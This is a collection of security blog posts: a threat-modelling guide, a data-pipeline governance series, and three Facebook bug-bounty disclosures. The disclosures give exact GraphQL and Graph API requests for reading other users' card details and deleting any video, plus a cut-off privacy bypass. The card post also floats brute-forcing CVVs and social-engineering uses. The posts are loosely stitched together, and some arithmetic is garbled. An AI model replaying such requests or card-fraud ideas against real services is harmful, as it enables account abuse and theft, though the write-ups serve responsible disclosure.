I’ve been doing threat models for years now, and the one thing that annoys me is how everyone teaches it differently. Some people make it sound like a PhD exercise. Others oversimplify it to “just think like an attacker.” Neither helps when you’re sitting in a room with developers who need to ship a feature next week.

So I’m going to walk through my actual process. Not the theory — you can read Microsoft’s STRIDE documentation or Adam Shostack’s book for that. This is what I do when someone says “can you threat model this service?”

I also published my practice threat models on GitHub — this post explains the thinking behind them.

Before I Touch Any Diagram

I have two mental checklists I run through before I start drawing anything. I’ve been using these long enough that they’re automatic now.

The first one is - For every component in the system, I ask:

• how is Authentication handled?
• What Authorization controls exist?
• Is there Auditing and logging?
• Is there Rate Limiting to prevent abuse?
• And what’s the Data Protection story — encryption in transit, at rest, key management?

That covers maybe 80% of the security surface. The remaining 20% is application-specific stuff — input validation, CORS, file upload restrictions, OWASP Top 10 patterns for web apps. And infrastructure-level questions like network segmentation, compute hardening, and how secrets are managed.

The second checklist is security principles: least privilege, defense in depth, secure by default, zero trust, separation of duties, auditability, fail-secure.

If a design violates any of these, that’s usually where the threat is hiding. For example, I reviewed a system once where a single API key gave read and write access to every customer’s data. That’s a least privilege violation, and the threat writes itself.

Step 1: Decompose and Draw the DFD

Four things to identify:

• external entities (users, third-party services)
• processes (your services)
• data stores (databases, caches), and
• data flows (how data moves between all of the above).

I drawn this one in Microsoft Threat Modeling Tool. But you can use draw.io or OWASP Threat Dragon. Doesn’t need to be perfect. For a web app with an API gateway, it looks roughly like this:

The part most people skip: trust boundaries. Draw lines where the trust level changes. Internet to your API gateway — that’s a trust boundary. API gateway to backend services — another one. Services to databases — another one. I’ve found that most threats cluster right at these boundaries.

If you’re short on time, just threat model the trust boundary crossings and you’ll catch the majority of issues.

Step 2: The STRIDE-Per-Element Matrix (My Quick Reference)

I keep this as a quick reference because it saves a lot of time. Not every STRIDE category applies to every DFD element, and I wasted time early in my career trying to force-fit categories where they don’t belong.

Users can be spoofed and can repudiate actions — that’s it. Processes get hit with everything. Data stores can be tampered with, leaked, or overwhelmed, but you’re not going to “spoof” a database. Data flows can be intercepted (information disclosure), modified (tampering), or flooded (DoS).

When I’m analyzing a data flow between the API gateway and backend, I’m only thinking about tampering, information disclosure, and denial of service. I’m not wasting 10 minutes trying to come up with a spoofing scenario for a network connection. The matrix keeps me focused.

Step 3: Write Threats as Stories, Not Labels

This is the thing that changed how I do threat modeling. I used to write things like “IDOR vulnerability” or “improper access control” as threats. Completely useless. A developer reads that and has no idea what to fix.

Now I write every threat with three parts: attack vector, outcome, and motivation.

Instead of “IDOR,” I write: “Attacker changes the user_id parameter in the GET /api/users/{id}/profile request from their own ID to another user’s ID, gaining access to that user’s PII, because the backend doesn’t check if the authenticated user owns the requested resource.”

That’s specific enough that a developer can write the fix without asking me a single question.

Here’s another example — for a file upload feature, I’d write:

“Attacker uploads a PHP web shell disguised as a profile image to the file server, gaining persistent remote code execution, because the server doesn’t validate file content type beyond the extension.” — STRIDE: Elevation of Privilege. Severity: Critical.

“Attacker uploads a 10GB file repeatedly to exhaust disk space on the file server, causing denial of service for all users, because there’s no file size limit enforced server-side.” — STRIDE: DoS. Severity: High.

Compare that to “malicious file upload.” One tells you exactly what to test and fix. The other is a bullet point in a slide deck nobody reads.

Step 4: STRIDE Per Element vs STRIDE Per Interaction

Two ways to apply STRIDE. I use both depending on the architecture.

STRIDE Per Element: go through each component individually — user, API gateway, backend API, database — and check each applicable STRIDE category. I use this for simpler architectures where I want to go deep on individual components. My API threat model uses this approach.

STRIDE Per Interaction: go through each data flow between components — User → API Gateway, Gateway → Backend, Backend → Database — and check all six STRIDE categories on each flow. I use this for microservices where the risk is in how services talk to each other across trust boundaries. My web app threat model uses this approach.

They find different things. Per Element goes deeper on individual component weaknesses. Per Interaction catches communication and authentication issues between services. Pick based on where you think the risk is concentrated. For most microservices architectures, I’d start with Per Interaction.

Step 5: Mitigations That Developers Can Actually Implement

I have a strong opinion here. Vague mitigations are worse than no mitigations because they give a false sense of security.

“Use encryption” means nothing. Encryption where? What algorithm? What key size? Who manages the keys? How often do you rotate? I’ve seen teams read “use encryption” and implement base64 encoding. Not joking.

What I write instead: “Encrypt PII columns at rest using AES-256-GCM. Envelope encryption with AWS KMS — data keys encrypted by a master key, 90-day rotation. Database in VPC private subnet, connections restricted to application tier security group.”

Same for rate limiting. “Add rate limiting” is not a mitigation. “100 requests/minute per authenticated user at the API Gateway, sliding window, with circuit breakers on backend services that fail-fast after 5 consecutive errors” — that’s a mitigation.

The test I use: can a developer implement this without coming back to ask me what I meant? If no, rewrite it.

Cloud Infrastructure Gets the Same Treatment

When the app runs on AWS or any cloud, I extend the threat model to infrastructure. My mental checklist for every cloud component:

• Identity & Access — who accesses this? IAM roles or hardcoded keys? Least privilege?
• Network — how does traffic flow in and out? Security groups locked down?
• Data — encrypted at rest and in transit? KMS managed?
• Compute — host/container hardened? Patched?
• Logging — CloudTrail, CloudWatch, alerts configured?

For example, I reviewed a Terraform config once where the Jenkins server had an IAM policy with "Resource": "*" for ECR and Secrets Manager. Functionally it worked. Security-wise, that Jenkins instance could pull any secret in the account. The threat model caught it; a functional review wouldn’t have.

The threat model caught the question: “what if this Jenkins instance gets compromised?” And the answer was ugly — it could pull any secret in the account because of that wildcard permission.

When Engineering Pushes Back

It happens. Engineering says they won’t fix a finding before launch. I’ve learned not to fight this.

Instead: document the threat, write down the security team’s assessment AND the engineering team’s reasoning, propose partial mitigations if full ones aren’t feasible, and escalate to leadership with the documented risk. My job is due diligence. Leadership’s job is accepting or rejecting the risk. As long as it’s documented and deliberate, that’s how risk management is supposed to work.

The worst outcome isn’t a risk that leadership accepts. It’s a risk that nobody documented and everyone assumed someone else was handling.

Start With One Service

If you haven’t done this before, pick one service. Draw the DFD — doesn’t need to be beautiful. Mark the trust boundaries. Use the matrix to know which STRIDE categories apply to each element. Write threats as stories with attack vector, outcome, motivation. Write mitigations specific enough that a developer won’t need to ask you what you meant.

That’s it. Do it once and you’ll start seeing threats in every architecture diagram.

My practice threat models are on GitHub — API (STRIDE Per Element) and Web App (STRIDE Per Interaction) with full DFDs, severity ratings, and specific mitigations.

References:

• Threat Modeling Manifesto - values and principles for effective threat modeling
• Microsoft STRIDE Documentation — the original STRIDE framework reference
• OWASP Threat Modeling Cheat Sheet — practical starting point
• OWASP Threat Dragon — free tool for drawing DFDs with trust boundaries
• AWS Threat Modeling Workshop — good for cloud-specific threat modeling

This Blog Post is part of Building and Securing Data Pipelines: From Governance to Secure Implementation Series

A practical guide for engineers and managers to design secure, compliant data pipelines — from governance basics to production-grade implementation.

Most data engineers focus on moving data from point A to point B — fast. But in today’s compliance-heavy world, speed without governance is a liability.

Weak or missing governance can trigger breaches, regulatory fines, and a loss of customer trust. Think about a pipeline that ingests sensitive data without proper access controls or encryption. It works fine… until an auditor shows up or a breach happens. Suddenly, that “fast” pipeline becomes your biggest problem.

That’s why this post — the first in our “Building and Securing Data Pipelines” series — breaks down the five pillars of data governance in a way engineers can actually implement. By the end, you’ll know exactly what governance looks like in practice and why it’s non-negotiable for secure, compliant pipelines.

Read the full series:

1. Blog 1: Data Governance for Engineers: The 5 Pillars Every Secure Pipeline Needs (you are here)
2. Blog 2: Designing a Data Pipeline Architecture That Embeds Governance & Security
3. Blog 3: Mapping Data Governance to AWS: Building a Secure DLP Pipeline
4. Blog 4: Securing Data Pipelines: Privacy, Compliance, and Security-by-Design on AWS

A Simple Data Pipeline

Data pipelines can be of multiple types but let’s stick to ETL Pipelines (Extract, Transform, Load) which are most common and easier to understand. For example, we download/retrieve a PDF from a website then we transform it (process the PDF and get only the required piece of information from it) and then load processed data into a relational database.

There are multiple components in a data pipeline - data sources, data ingestion, data storage, data processing, data orchestration, data governance and security. We will focus on the data governance part and build on our understanding of it.

Data Governance Pillars

Data governance is a system of rules or a framework ensuring effective management of data assets. It deals with five pillars broadly:

• Policies & Standards, Roles & Responsibilities, Ownership & Accountability
• Data Quality
• Data Protection & Safety (Security & Privacy)
• Data Use & Availability
• Data Management (Lifecycle)

The ultimate aim is to maximize data value while aligning with organizational goals.

Policies & Standards

Policies & standards are created by senior management which defines the high-level principles and detailed rules that guide how data is managed, protected, and used in alignment with laws, regulations, and business objectives.

Remember this:

• Policies define what must be done; standards are mandatory requirements derived to implement policies
• They must integrate compliance requirements (GDPR, HIPAA, PCI DSS)
• They must provide consistency across data handling practices

Policies & Standards allows to create a clear, enforceable framework for secure and compliant data handling.

Roles & Responsibilities

Roles & responsibilities assign duties to individuals or teams to ensure governance activities are executed and enforced.

Remember this:

• Roles and responsibilities should be clearly defined to prevent gaps or overlaps
• Example of roles are Data Owners, Data Stewards, Data Custodians

Roles & Responsibilities allows to reduce risk of mismanagement and ensures accountability.

Ownership & Accountability

Ownership & accountability defines who has decision-making authority over data assets and holds them responsible for governance compliance.

Remember this:

• Accountability and ownership cannot be delegated but responsibilities can
• It ensures someone is answerable if something goes wrong
• Data Owner is ultimately accountable

Ownership & Accountability allows to enforce compliance ownership.

Data Quality

Data quality is all about rules to ensure data is accurate, complete, consistent, timely, valid and fit for its intended use. For example, if a source data contains 5000 records, the same 5000 records should exist after transformation and loading stages, unless intentionally filtered, to meet the completeness criteria. Similarly, other data quality rules can be defined.

Few concepts to remember:

• Metadata - Metadata is data about data. It helps to understand data
• Data Lineage - Data lineage helps to visualize flow of data in a pipeline, from source to destination including all transformation steps
• Data Profiling - Data profiling is the process of examining and analyzing a dataset to understand its characteristics, quality, and structure to identify potential quality issues

Process can be simplified as:

1. Define and implement data quality rules (You should know what is good data for you)
2. Continuously monitor for data quality issues
3. Identify the issue utilizing metadata and data lineage
4. Triage and remediate

Poor data quality leads to wrong decisions, compliance risks, and loss of trust.

Data Protection & Safety (Security & Privacy)

Data protection & safety deals with safeguarding data against unauthorized access, modification, or loss while ensuring compliance with privacy laws.

Remember this:

• Security deals with CIA Triad (Confidentiality, Integrity, Availability)
• Data state can be data at rest, data in-transit and data in-use. We need to protect data in each state
• Privacy deals with regulation and laws eg. GDPR. We need to be compliant with every law and regulation to avoid penalties and fines
• Detect data breaches and have incident response plans ready
• Protect data using DLP and IRM tools

Process can be simplified as:

1. Classifying the data
2. Protecting the data

Data protection & safety deals with protecting both the organization’s assets and customer trust.

Note: We will expand on data security and data privacy in a dedicated blog post of this series

Data Use & Availability

Data use & availability deals with governing how data is accessed, shared, and delivered to authorized users while maintaining performance and compliance.

Remember this:

• Implement access control models to make data only available to the right people
• Have service level agreements for data availability

Data use & availability ensures data is available when needed, but only to the right people.

Data Management (Lifecycle)

Data management deals with data from creation to archival or secure disposal in line with governance rules.

Lifecycle stages: Create → Store → Use → Share → Archive → Destroy

Remember this:

• Design retention policies per regulatory needs
• Data should be securely deleted/destroyed to prevent data leakage

Effective data management helps to avoid unnecessary storage costs, reduces risk, and ensures compliance with retention and disposal requirements.

Conclusion

Data governance isn’t just about rules—it’s about trust, compliance, and enabling better decisions. The five pillars provide the structure, but it’s the consistent execution of these principles that turns data into a true business asset.

Now that you understand the pillars of data governance, the next step is turning those principles into an architecture you can actually build.

Read Part 2: Designing a Data Pipeline Architecture That Embeds Governance & Security →

This Blog Post is part of Building and Securing Data Pipelines: From Governance to Secure Implementation Series

A practical guide for engineers and managers to design secure, compliant data pipelines — from governance basics to production-grade implementation.

Understanding governance principles is one thing — embedding them into your data pipeline is another.

Many organizations have written policies, but the architecture itself leaves gaps where sensitive data can slip through unnoticed. It’s like having a security checklist for your house but forgetting to put locks on the back doors. The intent is there, but the design leaves you exposed.

In this post, we’ll take the five pillars of governance from Blog 1 and show how to integrate them into a generalized pipeline architecture — stage by stage — so your design is secure and compliant from day one.

Read the full series:

1. Blog 1: Data Governance for Engineers: The 5 Pillars Every Secure Pipeline Needs
2. Blog 2: Designing a Data Pipeline Architecture That Embeds Governance & Security (you are here)
3. Blog 3: Mapping Data Governance to AWS: Building a Secure DLP Pipeline
4. Blog 4: Securing Data Pipelines: Privacy, Compliance, and Security-by-Design on AWS

A Simple Data Pipeline With Data Governance & Security

This is a simple data pipeline. Following are the components:

• Data Sources
• Data Ingestion
• Data Storage
• Data Processing
• Data Serving
• Data Orchestration

Data Governance & Security should be integrated in every step of the pipeline.

Applying Governance Across the Pipeline

Data Sources

• Identify source trustworthiness
• Apply policies for data acquisition and licensing
• Have data classification and sensitivity defined for your organization
• Verify compliance with jurisdictional rules (data residency, cross-border transfer laws)

Data Ingestion

• Enforce access control and authentication for source systems
• Perform initial data profiling to understand the data
• Apply initial data quality checks and metadata tagging

Data Storage

• Implement encryption at rest
• Apply data classification labels
• Define retention rules in line with governance policy

Data Processing

• Perform data transformation
• Maintain data lineage tracking for auditability
• Validate outputs against quality rules

Data Serving

• Storing data after processing

Data Orchestration

• Ensure workflows respect access control policies
• Log all data movement for traceability
• Trigger governance checkpoints automatically

Data Governance & Security

• Use continuous monitoring for compliance and security incidents
• Integrate governance tools with data catalog and DLP solutions

How Governance & Security Fit Together?

Policies & Standards → Security Policy & Regulatory Compliance

Ownership & Accountability → Access Control & Audit Logging

Data Quality → Integrity Assurance

Data Protection & Safety → CIA Triad + Privacy

Data Use & Availability → Controlled Access + Availability SLAs

Data Management (Lifecycle) → Secure Retention & Disposal

Conclusion

This is a simple blueprint for designing and building secure data pipelines which integrates all the pillars of data governance into each stage of the data pipeline and reinforces them with strong security practices.

In Blog 3, we’ll map this architecture to a real AWS implementation that automatically detects and protects sensitive data — turning our blueprint into a working, production-ready pipeline.

Read Part 3: Mapping Data Governance to AWS: Building a Secure DLP Pipeline →

This Blog Post is part of Building and Securing Data Pipelines: From Governance to Secure Implementation Series

A practical guide for engineers and managers to design secure, compliant data pipelines — from governance basics to production-grade implementation.

A well-designed data pipeline is more than just moving data — it’s about governance, security, and trust. I took the initial generic blueprint for a governed data pipeline and turned it into a fully working AWS implementation that automatically identifies and redacts sensitive data.

Companies often have security policies on paper but no enforcement in the pipeline itself. If sensitive data slips past ingestion, it can land in non-secure systems, creating compliance and legal risks. The challenge was to embed governance and data loss prevention (DLP) directly into the pipeline — without slowing down the data flow.

This project is an AWS Glue + PySpark pipeline that automatically identifies and redacts sensitive data before it moves further downstream. It is available on GitHub.

Read the full series:

1. Blog 1: Data Governance for Engineers: The 5 Pillars Every Secure Pipeline Needs
2. Blog 2: Designing a Data Pipeline Architecture That Embeds Governance & Security
3. Blog 3: Mapping Data Governance to AWS: Building a Secure DLP Pipeline (you are here)
4. Blog 4: Securing Data Pipelines: Privacy, Compliance, and Security-by-Design on AWS

From Blueprint to Implementation

This is how we use blueprint architecture and design our data pipeline. Let’s break down each component and build our understanding.

Data Sources (External)

• Identify source trustworthiness
• Apply policies for data acquisition and licensing
• Have data classification and sensitivity defined for your organization
• Verify compliance with jurisdictional rules (data residency, cross-border transfer laws)

Data Ingestion (Raw Data)

• Enforce access control and authentication for source systems
• Perform initial data profiling to understand the data
• Apply initial data quality checks and metadata tagging

Data Storage (Source S3 Bucket)

• Implement encryption at rest
• Apply data classification labels
• Define retention rules in line with governance policy

Data Cataloging (AWS Glue Data Catalog)

• Perform data discovery
• Extract Metadata

Data Processing (AWS Glue Job - PySpark)

• Perform data transformation (redaction in our case)
• Maintain data lineage tracking for auditability
• Validate outputs against quality rules

Data Serving (Destination S3 Bucket)

• Implement encryption at rest
• Storing data after processing

Data Orchestration

• Ensure workflows respect access control policies
• Log all data movement for traceability
• Trigger governance checkpoints automatically

Data Governance & Security

• Use continuous monitoring for compliance and security incidents
• Integrate governance tools with data catalog and DLP solutions

Technical Implementation

Please review the GitHub project for minute technical details and code on how the pipeline is implemented.

Conclusion

This implementation transforms the blueprint into a production-ready pipeline. It’s modular enough to extend with new governance checks — for example, archiving raw data for long-term compliance or rejecting poor-quality data and reprocessing it automatically.

With this approach, we are successfully integrating governance and security right from the start, just like shift-left in DevSecOps. Whether you’re handling sensitive healthcare records or financial transactions, the same principles and code structure can be adapted to protect data at every stage.

In Blog 4, we’ll go deeper into security-by-design and privacy requirements, breaking down the controls that make this pipeline not just production-ready, but also regulation-ready.

Read Part 4: Securing Data Pipelines: Privacy, Compliance, and Security-by-Design on AWS →

This Blog Post is part of Building and Securing Data Pipelines: From Governance to Secure Implementation Series

A practical guide for engineers and managers to design secure, compliant data pipelines — from governance basics to production-grade implementation.

In the cloud, speed and scalability mean nothing if you can’t protect the data you process. Regulations like GDPR don’t just demand encryption — they require security and privacy to be embedded at every stage of the data lifecycle.

In this final post of our “Building and Securing Data Pipelines” series, we’ll dive into the security pillars, privacy laws, and technical safeguards that make an AWS DLP pipeline both production-ready and compliant. You’ll see how to apply these principles from ingestion to archival — without leaving compliance to chance.

Read the full series:

1. Blog 1: Data Governance for Engineers: The 5 Pillars Every Secure Pipeline Needs
2. Blog 2: Designing a Data Pipeline Architecture That Embeds Governance & Security
3. Blog 3: Mapping Data Governance to AWS: Building a Secure DLP Pipeline
4. Blog 4: Securing Data Pipelines: Privacy, Compliance, and Security-by-Design on AWS (you are here)

Understanding Security Pillars - CIA Triad

The CIA Triad stands for Confidentiality, Integrity, Availability:

• Confidentiality - Ensures that only authorized individuals or systems can view or access the data
• Integrity - Ensures that data remains accurate, complete, and trustworthy. It prevents unauthorized modification, deletion, or corruption of data
• Availability - Available data is readily accessible to authorized parties when they need it

There are two additional pillars:

• Authenticity - Ensures that a person or system is authentic and we can verify that
• Non-repudiation - Ensures that someone cannot deny responsibility or deny the validity of their actions or data they generated

Data protection & safety deals with implementing these pillars to safeguard data against unauthorized access, modification, or loss while ensuring compliance with privacy laws.

Understanding Data Privacy Requirements

Data privacy deals with laws and regulations which an organization needs to follow to avoid fines/penalties.

Let’s take an example of General Data Protection Regulation (GDPR) which is a European Union law focused on data protection and privacy.

We can break it down into three buckets:

Data Collection and Processing

• Data minimization
• Purpose limitation

Data Subject Rights

• Right to access
• Right to erase

Data Protection

• Data breach notifications
• Encryption of data

We can develop our understanding as follows:

• GDPR is applicable inside EU or outside EU enforced by EU
• It is about protecting personal data / human rights
• It applies to all the organizations who deals with EU citizens data
• Penalty is $10M or 4% annual revenue

Reference: GDPR Checklist

We want to protect PII data.

Merging Security & Privacy into the Data Lifecycle

Lifecycle stages: Create → Store → Use → Share → Archive → Destroy

For each stage, data must be:

• Classified by sensitivity
• Protected with appropriate security controls
• Managed under compliance requirements

Core Security Strategies/Technologies:

• Encryption and key management (Encrypt data at rest and data in transit)
• Hashing
• Access Management (IAM) / Access Controls
• Data Obfuscation
  • Data masking
  • De-identification (Anonymization and Pseudonymization)
  • Tokenization
• Monitoring (Auditing, logging, traceability)
• Network/Endpoint security

Applying Security-by-Design to Our AWS DLP Pipeline

Stage 1 – Data Sources (External)

Before ingestion: Apply organizational data classification, privacy policies, and security standards.

Outcome: Know exactly what’s sensitive (e.g., PII) before it enters the pipeline.

Stage 2 – Data Ingestion & Storage (Source S3 Bucket)

Initial profiling + basic data quality checks

Security controls:

• Encryption at rest (S3 SSE)
• IAM policies for least privilege
• Logging & monitoring (CloudTrail, S3 access logs)
• Network-level protections (VPC endpoints)

Stage 3 – Data Cataloging (AWS Glue Data Catalog)

Formal discovery & metadata extraction

Link classification tags to schema metadata for policy-driven processing.

Stage 4 – Data Processing (AWS Glue ETL with PySpark)

Apply anonymization/redaction logic to sensitive fields.

Security controls:

• IAM roles for Glue jobs
• Fine-grained logging of processing steps
• Processing in private subnets for isolation

Stage 5 – Data Serving (Destination S3 Bucket)

Store sanitized data for consumption.

Security controls:

• Encryption at rest & transit
• IAM role-based access
• Retention & archival policies
• Automated deletion after retention period

Conclusion

Security and privacy aren’t “add-ons” — they’re foundational layers of modern data pipelines.

This AWS DLP architecture demonstrates:

• Security-by-design from ingestion to serving
• Compliance alignment with GDPR & similar regulations
• Practical implementation of data governance in an engineering context

By embedding privacy principles + security controls into every stage, we protect sensitive data before, during, and after processing — making this pipeline not only production-ready but regulation-ready.

This concludes our series on building and securing data pipelines — from governance fundamentals to AWS implementation and security-by-design.

Missed a post? Start from the beginning:

1. Blog 1: Data Governance for Engineers: The 5 Pillars Every Secure Pipeline Needs
2. Blog 2: Designing a Data Pipeline Architecture That Embeds Governance & Security
3. Blog 3: Mapping Data Governance to AWS: Building a Secure DLP Pipeline
4. Blog 4: Securing Data Pipelines: Privacy, Compliance, and Security-by-Design on AWS (you are here)

There are various Facebook products like Ads Manager, Business Manager, Messenger Payments, etc. which requires an user to add some payment method to their Facebook account which can be credit card, debit card, paypal, etc.

eg. If I want to run Facebook Ads then I need to add a credit card or any other relevant payment method so as to use it. Same is with other products.

Facebook assigns a unique 15 digit random number to any card added to user’s Facebook account and this id is known as credential id. This credential id is then used by Facebook to query about credit card details.

This credential id was querable via GraphQL and it allowed an attacker to use it(credential id) to get credit card details. But it exposed last 4 digits, address, expiry date, etc.

How one can get credential id?

Image Source

There are few methods to get credential id of your card…

1] I had reported a bug last year where Ad Analyst was able to escalate privileges and was able to access funding sources of the Ad account. This leaked the credential id of the payment method. Unfortunately this bug went duplicate but I was still able to use it to demonstrate the flaw.

2] Brute Force / Dictionary attacks: We need to form 15 digit numbers so calculations are as follows…

1. We have digits [0-9]
2. We have 15 places
3. 1st digit can be [1-9] i.e only 9 combinations
4. Other 14 digits can be anything [0-9] i.e 10 combinations

So, 9x10^14 = 10^14 = 100000000000000 = 100000 billion 9x10^14 = 900000 billion combinations

This covers all the 15 digit numbers. We need ONLY 900000 billion numbers. This seems to be practically possible as it may take few weeks to do so.

But even if we consider it impossible, one can generate numbers in range like generating number from 931000000000000 to 999999999999999. This will be a lot quicker than previous one. Also, if we reduce the range and only brute force last 6-8 digits still we can generate a lot of valid 15 digit numbers.

So, now we assume that we can generate a large amount of valid unique 15 digit number.

*Note : I avoided running the real brute force/dictionary attack as it would get me access to real credential ids of real users which voids Facebook’s terms. Instead, to prove my point I provided POC of my test accounts where I was able to show that brute force attack may work to get access to credit card details.

3] Other methods: Ad account Admin removed from the Ad account having noted these ids can still use it now and get access credit card details.

Similarly, it applies to Business Manager as it has a separate payment management. A user having access to Business Manager but now removed from it can still have credential ids.

Proof Of Concept

1] Get an access_token which can access graphql. This token can be obtained by observing requests/responses of your Android/IOS Facebook app or other Facebook owned apps.

2] Now, get yourself a credential id via any of the methods listed above.

3] Encode the credential id in order to form a string as base64encode(p2p_credential_id). eg. base64encode(p2p_999999999999999) → cDJwXzk5OTk5OTk5OTk5OTk5OQ==

4] Make following graphql calls …

*Note : (Use access_token which you derived in Step 1)

REQUEST

POST /graphql?q=node(<encoded p2p_credential_id string>)
{
__typename,
id,
credit_card{
credential_id, 
card_association,
number, 
expire_month, 
expire_year, 
address {
__typename,
postal_code ,
full_address, 
single_line_full_address,
street, 
city, 
country, 
postal_code
}
},
mobile_csc_verified, 
zip_verified, 
web_csc_verified, 
method_category, 
commerce_payment_eligible, 
personal_transfer_eligible, 
is_default_receiving
}


RESPONSE

{
"<encoded p2p_credential_id string>": {
"__typename": "PeerToPeerPaymentMethod",    
"id": "<encoded p2p_credential_id string>",    
"credit_card": {
  "credential_id": "<credential id>",      
  "card_association": "VISA",      
  "number": "<last 4 digits>",      
  "expire_month": "<expiry month>",     
  "expire_year": "<expiry year>",     
  "address": {
    "__typename": "StreetAddress",        
    "postal_code": "<postal code>",        
    "full_address": "<postal code>",        
    "single_line_full_address": "<postal code>",        
    "street": "",       
    "city": "",        
    "country": "US"      
    }    
    },    
    "mobile_csc_verified": true,    
    "zip_verified": true,    
    "web_csc_verified": true,    
    "method_category": "DEBIT_CARD",    
    "commerce_payment_eligible": false,    
    "personal_transfer_eligible": true,    
    "is_default_receiving": false  
    }
    }

5] Here, my credit card details(last 4 digits, expiry details, card association,etc.) and other sensitive information(address, etc.) are leaked.

NOTE : Please note that credential id is never deleted from Facebook. So, anyone can access the details even if card is removed or account is deactivated.

How one can exploit it?

1. Try to form a valid credit card: According to my research, it is possible to validate a credit card number using Luhn algorithm (https://en.wikipedia.org/wiki/Luhn_algorithm). One can generate a large set of credit card details then filter out the credit cards based on last 4 digits and pincode and expiry date. This will return a very small set of valid credit cards. Later, cvv number can be brute force or any alternative attack can be done if we have valid credit cards. This attack is sophisticated and will require a lot of time but it is not practically impossible.

2. Hacking combined with social engineering: One can play smart and can make use of these details to compromise one’s apple account or amazon account or other things Reference : https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/all/

One can even think of innovative ways to use these stolen credit card details.

Impact

Once attacker knows the credential id then attacker can access credit card details which exposed the following:

1. last 4 digits
2. expiry date
3. address
4. country and other relevant details

Facebook determined that brute force attack may take a long time but considering other methods they patched the bug by placing permission checks on the endpoint. Now, users can only access their own credit cards.

Special Thanks

Thanks to Facebook for patching the vulnerability and all my friends who are supporting me for my work.

How can you learn GraphQL?

• https://github.com/chentsulin/awesome-graphql#workshoppers

Timeline

January 1, 2017 at 11:35pm - Report Sent
January 13, 2017 at 6:22pm - Initial Response by Facebook
January 16, 2017 at 6:59am - Sent more information
January 18, 2017 at 1:55pm - Bug Confirmed by Facebook
January 24, 2017 at 3:44pm - Bug fixed and response by Facebook
January 27, 2017 at 7:40am - Confirmation of fix by me
February 1, 2017 at 4:31pm - Bounty awarded

I came across a note New: Videos in Comments! written by Bob Baldwin who works at Facebook. This note was about Facebook launching it’s new feature of commenting using videos.

eg. Now, users were allowed to upload a video in comments.

When I saw this note, at that time this video comment feature was already out 8 hrs ago. So, I started playing around and testing this feature to find out how it works. After, 2 hrs I was able to figure out some pretty interesting low impact flaws. Using these low impact flaws, I was able to form a bug to DELETE ANY VIDEO

At that time, I was like …

Seriously, I am able to DELETE ANY VIDEO of my choice from FACEBOOK.

The Bug

This bug is proof of flaw in logic rather than daily technical flaws which we see like RCE, SSRF, etc.

Developers logic

When we upload a video as a comment, then this video gets uploaded onto user/page ‘s timeline and then it gets attached to the post as a video comment using it’s video-id.

eg. When any user comments using a video on any random post, then video will first get uploaded to the user’s timeline and then video-id will be returned. This video-id gets attached to the post as a video comment.

My attack Logic

I love API. So, I got to this via GraphAPI. Below is simple attack logic.

1. Create a comment via api.
2. Edit the comment and attach video of your choice using video_id via api.
3. Delete the comment via api.

This was removing the attached video using it’s video-id.

Here, there are two simple flaws …

1. I am able to attach anyone’s video to my comment using it’s video-id.
2. When I delete my comment, then attached video gets deleted. As it uses ONLY video-id and there are no permission checks placed to verify if the user owns the video. Assumptions are made that user will ONLY upload/attach his/her own videos.

Proof Of Concept

1.Create a comment on a post via API.

Api call : Reference: (https://developers.facebook.com/docs/graph-api/reference/object/comments/)

POST /< post id>/comments?message=test

2.Edit the comment and attach a VIDEO of your choice via API.

Video id : 1739331926310614 (Video to be deleted)

Api call : Reference: (https://developers.facebook.com/docs/graph-api/reference/v2.6/comment)

POST /< comment id>?attachment_id=1739331926310614

Video added as a comment.

3.Delete the comment. Wait 20 secs. (As it takes 20 secs to DELETE the video from Facebook’s server.)

Api call : Reference: (https://developers.facebook.com/docs/graph-api/reference/v2.6/comment)

DELETE /< comment id>

This will delete the video.

This vulnerability was temporarily fixed by Facebook team in 23 minutes after confirmation of flaw.

Permanent fix was live in 10-12 hrs after that.

Kudos to Facebook. :)

How I got this hit ?

I have been following some youtube channels, some great books and some other material which I mentioned in this note on my page to improve my life. The book “The Power Of Subconscious Mind” mentioned in my note is really life changing and have some really cool techniques to take you to whole new level. I recommend everyone to read this book who wants to acheive great things in their life.

Also, it’s worth mentioning that it took me more than 1.5 years to find this high-impact bug.

Follow this :

Special Thanks

I would like to thank all my friends, well-wishers and everyone around me who plays an important role of motivating me. Also, Facebook Security Team to patch this bug before it goes into wrong hands.

Timeline

June 10, 2016 at 3:53pm - Report Sent
June 10, 2016 at 8:36pm - Initial Response by Facebook
June 10, 2016 at 8:51pm - My Response to Facebook
June 10, 2016 at 10:11pm - Bug Confirmed by Facebook
June 10, 2016 at 10:31pm - My Response to Facebook
June 10, 2016 at 10:34pm - Temporary fixed applied by Facebook
June 10, 2016 at 10:44pm - My Response to Facebook
June 11, 2016 at 9:05am - Bug fixed and response by Facebook
June 11, 2016 at 9:55am - Confirmation of fix by me
June 11, 2016 at 10:28am - Confirmation of fix by Facebook
June 11, 2016 at 10:35am - Messages exchanged
June 15, 2016 at 1:20am - Messages exchanged
June 20, 2016 at 9:03pm - Asked about bounty decision
June 23, 2016 at 1:13am - 5 digits bounty awarded

I was able to fool Facebook’s Graph Search and bypass privacy restrictions and extract sensitive information about user’s applications and pages. I was able to get applications used by any user, regardless of privacy settings set to Only Me and also I was able to get Pages liked by user, regardless of privacy settings set to Only Me

For example, I was able to see applications used by Mark Zuckerberg despite of privacy settings set.

What is Facebook Graph Search and How it works?

Facebook Graph Search is SMART search tool developed by Facebook and Google developers who joined Facebook. It was an innovation as it allowed people to see what their Friends are doing. And these things aren’t possible using traditional Google search.

eg. https://www.facebook.com/search/2015/date/photos/4/photos/intersect

Mark Zuckerberg photos from 2015” would return all the photos from 2015.

Some articles I read about Graph Search to understand it deeply. You can find many articles related to Graph Search on newyorker, newyorktimes, economist, etc.

1. http://www.newyorker.com/news/news-desk/facebook-and-the-future-of-search

This is simple working of Graph Search. But how it works internally ?

Graph Search Internal Working

Graph Search simply works on Set Theory. So, it is possible to fire queries which adhere to Set Theory and are successfully executed and make the search engine return result set back.

For eg, A = {1,2,3} B = {2,3,7}

Then, Intersection = {2,3} Union = {1,2,3,7}

This works same in Graph Search.

A similar bug found by “Philippe Harewood” → “Abusing Facebook Graph Search using GraphQL”. This bug gave me initial idea. He has exploited Graph Search directly using GraphQL whereas, I tried to abuse it directly on website.

Proof Of Concept

Getting applications of any random user.

Intersection of two sets was handled properly and didn’t show any private information using privacy Only Me or other.

eg. https://www.facebook.com/search/me/apps-used/100002065051535/apps-used/intersect

This takes common-set(intersection) of apps-used by me and apps-used by 100002065051535 and returns a result set.

